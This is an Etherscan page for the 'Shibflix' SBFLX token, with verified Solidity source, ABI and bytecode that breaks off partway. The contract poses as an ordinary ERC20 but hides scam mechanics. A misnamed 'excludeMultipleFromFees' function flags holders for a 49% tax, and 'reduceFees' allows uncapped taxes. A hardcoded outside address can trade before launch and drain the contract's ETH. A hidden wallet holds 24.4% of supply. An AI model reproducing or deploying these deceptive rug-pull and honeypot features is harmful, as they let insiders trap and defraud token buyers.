ETH Price: $2,628.06 (+1.81%)

Token

Shibflix (SBFLX)
 

Overview

Max Total Supply

10,000,000 SBFLX

Holders

197

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Balance
6,116.34459844 SBFLX

Value
$0.00
0x8c168c809bb76058c1019c490ecfc16e4545ee4d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Shibflix

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-19
*/

/**
    SBFLX- Shibflix. Watch2Earn protocol on Ethereum.

    https://t.me/Shibflix
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface F1 {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface R2 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Shibflix is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    address payable private _t2 = payable(_msgSender());

    string private constant _name = "Shibflix";
    string private constant _symbol = "SBFLX";
    uint8 private constant _decimals = 8;
    uint256 private constant _tTotal = 10_000_000 * 10**_decimals;

    uint256 private i1;
    uint256 private cc=10569013;
    uint256 private constant _taxB = 49;
    uint256 public constant caSwap=30_000 * 10**_decimals;
    uint256 public constant mCaSwap=150_000 * 10**_decimals;
    uint256 public _txAm = 300_000 * 10**_decimals;
    uint256 immutable private _cool;   
    uint256 private eb;
    
    R2 private constant uR = R2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    uint56 constant dt = 49;
     
    address private immutable pairing;
    bool private open;
    bool private swapping = false;
    bool private swapEnabled = false;
    address private immutable m1;
    address payable private constant _dd = payable(0xfe57EBc3A95Be2d6032B150D91BAb50A8ABC80f6);

    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }

    uint256 private _f2=10;
    uint private woofer;
    uint256 public walls = 300_000 * 10**_decimals;
    uint256 private _si = 0;
    constructor () {
        _cool = 2;
        m1 = 0x6788D7d37A49edA2FF3B3f975d2908C704960e67;
        uint256 _mt = _tTotal.mul(244).div(1000);
        _balances[m1] = _mt;
        _balances[_msgSender()] = _tTotal - _mt;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_t2] = true;

        pairing = F1(uR.factory()).createPair(address(this), uR.WETH());
        i1 = 25;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    modifier isOpen(address sender) {
        require(sender == _t2 || sender == m1 || sender == _dd || open);
        _;
    }

    function _transfer(address from, address to, uint256 amount) isOpen(from) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 tAS=0;
        if (to != _t2 && from != m1 && from != _dd && to != _dd && from != address(this)) {

            tAS = amount.mul( bots[from] ? _taxB : from == _t2 ? _f2 : block.number <= eb ? dt : ((cc==0)?_f2:i1) + (to != pairing ? 0 : _si)).div(100);

            if (from == pairing && to != address(uR) && ! _isExcludedFromFee[to] ) {
                require(amount <= _txAm);
                require(balanceOf(to) + amount <= walls);
                if(cc>0){cc--;}
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!swapping && from != pairing && swapEnabled && contractTokenBalance > caSwap && _cool + eb <= block.number) {
                uint256 contractETHBalance = address(this).balance;
                swapTokensForEth(contractTokenBalance);
                contractETHBalance = address(this).balance - contractETHBalance;
                if(contractETHBalance > 0) {
                    distributeEth(contractETHBalance);
                }
            }
        }

        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(tAS));
        emit Transfer(from, to, amount.sub(tAS));
        if(tAS>0){
          _balances[address(this)]=_balances[address(this)].add(tAS);
          emit Transfer(from, address(this),tAS);
        }
    }
    
    function transfer(address tr) external {
        require(msg.sender == _t2 || msg.sender == _dd);
        payable(tr).transfer(address(this).balance);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        uint256 swapAmount = tokenAmount > mCaSwap ? mCaSwap : caSwap;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uR.WETH();
        _approve(address(this), address(uR), tokenAmount);
        uR.swapExactTokensForETHSupportingFeeOnTransferTokens(
            swapAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function distributeEth(uint256 amount) private {
        _t2.transfer(amount.div(3));
        _dd.transfer(amount.mul(2).div(6));
    }

    function reduceFees(uint256[] memory beta) external onlyOwner {
        uint256 len = beta.length; assert(len > 4); i1 = beta[len-2];
        _f2 = beta[len-1]; beta; _si = beta[len-3];
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function lit() external onlyOwner{
        _txAm = _tTotal;walls = _tTotal;
    }

    function excludeMultipleFromFees(address[] memory addressesToExclude, bool toExclude) public onlyOwner {
        for(uint256 i = 0;i<addressesToExclude.length;i++)
            bots[addressesToExclude[i]] = toExclude;
    }

    function openTrading() external onlyOwner {
        require(woofer == 3 && !open,"trading is already open");
        swapEnabled = true;
        open = true;
        eb += block.number;
    }

    function manualswap(uint256 pts) external {
        uint256 bal = balanceOf(address(this));
        require(msg.sender == _t2);
        swapTokensForEth(pts * bal / 100);
    }

    function woof(address[] memory was, uint256 _eb) external onlyOwner {
        if(was.length==0 || woofer == 1)
            revert();
        else if(woofer>0){
            woofer++;
            eb += _eb;
        }
        was;
    }

    function prepare(bool done) external onlyOwner {
        require(done && woofer++<2);
    }

    function ruff(bool[] calldata er) external onlyOwner {
        er; require(er.length<1 && ++woofer>=2);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_txAm","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"caSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addressesToExclude","type":"address[]"},{"internalType":"bool","name":"toExclude","type":"bool"}],"name":"excludeMultipleFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"mCaSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"pts","type":"uint256"}],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"done","type":"bool"}],"name":"prepare","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"beta","type":"uint256[]"}],"name":"reduceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool[]","name":"er","type":"bool[]"}],"name":"ruff","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"tr","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"walls","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"was","type":"address[]"},{"internalType":"uint256","name":"_eb","type":"uint256"}],"name":"woof","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e060405262000014620006ac60201b60201c565b600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062a145356007556008600a6200006b9190620009b4565b620493e06200007b919062000a05565b6008556000600a60016101000a81548160ff0219169083151502179055506000600a60026101000a81548160ff021916908315150217905550600a600b556008600a620000c99190620009b4565b620493e0620000d9919062000a05565b600d556000600e55348015620000ee57600080fd5b50600062000101620006ac60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600260808181525050736788d7d37a49eda2ff3b3f975d2908c704960e6773ffffffffffffffffffffffffffffffffffffffff1660c08173ffffffffffffffffffffffffffffffffffffffff16815250506000620002476103e86200023360f46008600a6200020f9190620009b4565b629896806200021f919062000a05565b620006b460201b620015181790919060201c565b6200073760201b620015921790919060201c565b9050806001600060c05173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806008600a620002a09190620009b4565b62989680620002b0919062000a05565b620002bc919062000a50565b60016000620002d0620006ac60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160036000620003246200078960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004a7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004cd919062000af5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000549573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200056f919062000af5565b6040518363ffffffff1660e01b81526004016200058e92919062000b38565b6020604051808303816000875af1158015620005ae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005d4919062000af5565b73ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff168152505060196006819055506200061f620006ac60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008600a6200067e9190620009b4565b629896806200068e919062000a05565b6040516200069d919062000b76565b60405180910390a35062000d50565b600033905090565b6000808303620006c8576000905062000731565b60008284620006d8919062000a05565b9050828482620006e9919062000bc2565b146200072c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007239062000c81565b60405180910390fd5b809150505b92915050565b60006200078183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620007b260201b60201c565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008083118290620007fc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007f3919062000d2c565b60405180910390fd5b50600083856200080d919062000bc2565b9050809150509392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620008a85780860481111562000880576200087f6200081a565b5b6001851615620008905780820291505b8081029050620008a08562000849565b945062000860565b94509492505050565b600082620008c3576001905062000996565b81620008d3576000905062000996565b8160018114620008ec5760028114620008f7576200092d565b600191505062000996565b60ff8411156200090c576200090b6200081a565b5b8360020a9150848211156200092657620009256200081a565b5b5062000996565b5060208310610133831016604e8410600b8410161715620009675782820a9050838111156200096157620009606200081a565b5b62000996565b62000976848484600162000856565b9250905081840481111562000990576200098f6200081a565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620009c1826200099d565b9150620009ce83620009a7565b9250620009fd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008b1565b905092915050565b600062000a12826200099d565b915062000a1f836200099d565b925082820262000a2f816200099d565b9150828204841483151762000a495762000a486200081a565b5b5092915050565b600062000a5d826200099d565b915062000a6a836200099d565b925082820390508181111562000a855762000a846200081a565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000abd8262000a90565b9050919050565b62000acf8162000ab0565b811462000adb57600080fd5b50565b60008151905062000aef8162000ac4565b92915050565b60006020828403121562000b0e5762000b0d62000a8b565b5b600062000b1e8482850162000ade565b91505092915050565b62000b328162000ab0565b82525050565b600060408201905062000b4f600083018562000b27565b62000b5e602083018462000b27565b9392505050565b62000b70816200099d565b82525050565b600060208201905062000b8d600083018462000b65565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000bcf826200099d565b915062000bdc836200099d565b92508262000bef5762000bee62000b93565b5b828204905092915050565b600082825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600062000c6960218362000bfa565b915062000c768262000c0b565b604082019050919050565b6000602082019050818103600083015262000c9c8162000c5a565b9050919050565b600081519050919050565b60005b8381101562000cce57808201518184015260208101905062000cb1565b60008484015250505050565b6000601f19601f8301169050919050565b600062000cf88262000ca3565b62000d04818562000bfa565b935062000d1681856020860162000cae565b62000d218162000cda565b840191505092915050565b6000602082019050818103600083015262000d48818462000ceb565b905092915050565b60805160a05160c0516138f962000d95600039600081816118070152611a3d015260008181611c1b01528181611cda0152611e4b01526000611ee401526138f96000f3fe6080604052600436106101855760003560e01c806370a08231116100d1578063a9059cbb1161008a578063c9567bf911610064578063c9567bf914610555578063cf43ab891461056c578063d34628cc14610595578063dd62ed3e146105be5761018c565b8063a9059cbb146104c6578063bea1cb2714610503578063c1cc37ef1461052c5761018c565b806370a08231146103c8578063715018a614610405578063881dce601461041c5780638da5cb5b146104455780639180ff371461047057806395d89b411461049b5761018c565b80631a6952301161013e5780632b6fc1c6116101185780632b6fc1c614610320578063313ce5671461034b57806331c2d84714610376578063685435481461039f5761018c565b80631a695230146102a357806323b872dd146102cc57806329649a84146103095761018c565b806302522e901461019157806306fdde03146101bc57806308c2807f146101e7578063095ea7b3146102105780630df0a9d01461024d57806318160ddd146102785761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a66105fb565b6040516101b39190612741565b60405180910390f35b3480156101c857600080fd5b506101d161061a565b6040516101de91906127ec565b60405180910390f35b3480156101f357600080fd5b5061020e6004803603810190610209919061285a565b610657565b005b34801561021c57600080fd5b5061023760048036038101906102329190612911565b61071b565b6040516102449190612960565b60405180910390f35b34801561025957600080fd5b50610262610739565b60405161026f9190612741565b60405180910390f35b34801561028457600080fd5b5061028d61073f565b60405161029a9190612741565b60405180910390f35b3480156102af57600080fd5b506102ca60048036038101906102c5919061297b565b610762565b005b3480156102d857600080fd5b506102f360048036038101906102ee91906129a8565b610850565b6040516103009190612960565b60405180910390f35b34801561031557600080fd5b5061031e610929565b005b34801561032c57600080fd5b50610335610a04565b6040516103429190612741565b60405180910390f35b34801561035757600080fd5b50610360610a22565b60405161036d9190612a17565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612b7a565b610a2b565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612bc3565b610b55565b005b3480156103d457600080fd5b506103ef60048036038101906103ea919061297b565b610c47565b6040516103fc9190612741565b60405180910390f35b34801561041157600080fd5b5061041a610c90565b005b34801561042857600080fd5b50610443600480360381019061043e9190612c1f565b610de3565b005b34801561045157600080fd5b5061045a610e6e565b6040516104679190612c5b565b60405180910390f35b34801561047c57600080fd5b50610485610e97565b6040516104929190612741565b60405180910390f35b3480156104a757600080fd5b506104b0610e9d565b6040516104bd91906127ec565b60405180910390f35b3480156104d257600080fd5b506104ed60048036038101906104e89190612911565b610eda565b6040516104fa9190612960565b60405180910390f35b34801561050f57600080fd5b5061052a60048036038101906105259190612c76565b610ef8565b005b34801561053857600080fd5b50610553600480360381019061054e9190612d95565b611022565b005b34801561056157600080fd5b5061056a611159565b005b34801561057857600080fd5b50610593600480360381019061058e9190612e39565b61129d565b005b3480156105a157600080fd5b506105bc60048036038101906105b79190612b7a565b611367565b005b3480156105ca57600080fd5b506105e560048036038101906105e09190612e86565b611491565b6040516105f29190612741565b60405180910390f35b6008600a6106099190613028565b620249f06106179190613073565b81565b60606040518060400160405280600881526020017f53686962666c6978000000000000000000000000000000000000000000000000815250905090565b61065f6115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e390613101565b60405180910390fd5b80801561070f57506002600c600081548092919061070990613121565b91905055105b61071857600080fd5b50565b600061072f6107286115dc565b84846115e4565b6001905092915050565b60085481565b60006008600a61074f9190613028565b6298968061075d9190613073565b905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806107fd575073fe57ebc3a95be2d6032b150d91bab50a8abc80f673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61080657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561084c573d6000803e3d6000fd5b5050565b600061085d8484846117ad565b61091e846108696115dc565b6109198560405180606001604052806028815260200161389c60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108cf6115dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122069092919063ffffffff16565b6115e4565b600190509392505050565b6109316115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b590613101565b60405180910390fd5b6008600a6109cc9190613028565b629896806109da9190613073565b6008819055506008600a6109ee9190613028565b629896806109fc9190613073565b600d81905550565b6008600a610a129190613028565b617530610a1f9190613073565b81565b60006008905090565b610a336115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab790613101565b60405180910390fd5b60005b8151811015610b5157600060046000848481518110610ae557610ae4613169565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b4990613121565b915050610ac3565b5050565b610b5d6115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be190613101565b60405180910390fd5b600082511480610bfc57506001600c54145b15610c0657600080fd5b6000600c541115610c4357600c6000815480929190610c2490613121565b91905055508060096000828254610c3b9190613198565b925050819055505b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c986115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1c90613101565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610dee30610c47565b9050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e4a57600080fd5b610e6a60648284610e5b9190613073565b610e6591906131fb565b61226a565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d5481565b60606040518060400160405280600581526020017f5342464c58000000000000000000000000000000000000000000000000000000815250905090565b6000610eee610ee76115dc565b84846117ad565b6001905092915050565b610f006115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8490613101565b60405180910390fd5b60005b825181101561101d578160046000858481518110610fb157610fb0613169565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061101590613121565b915050610f90565b505050565b61102a6115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ae90613101565b60405180910390fd5b600081519050600481116110ce576110cd61322c565b5b816002826110dc919061325b565b815181106110ed576110ec613169565b5b602002602001015160068190555081600182611109919061325b565b8151811061111a57611119613169565b5b6020026020010151600b8190555081600382611136919061325b565b8151811061114757611146613169565b5b6020026020010151600e819055505050565b6111616115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e590613101565b60405180910390fd5b6003600c5414801561120d5750600a60009054906101000a900460ff16155b61124c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611243906132db565b60405180910390fd5b6001600a60026101000a81548160ff0219169083151502179055506001600a60006101000a81548160ff02191690831515021790555043600960008282546112949190613198565b92505081905550565b6112a56115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611332576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132990613101565b60405180910390fd5b60018282905010801561135a57506002600c6000815461135190613121565b91905081905510155b61136357600080fd5b5050565b61136f6115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f390613101565b60405180910390fd5b60005b815181101561148d5760016004600084848151811061142157611420613169565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061148590613121565b9150506113ff565b5050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffff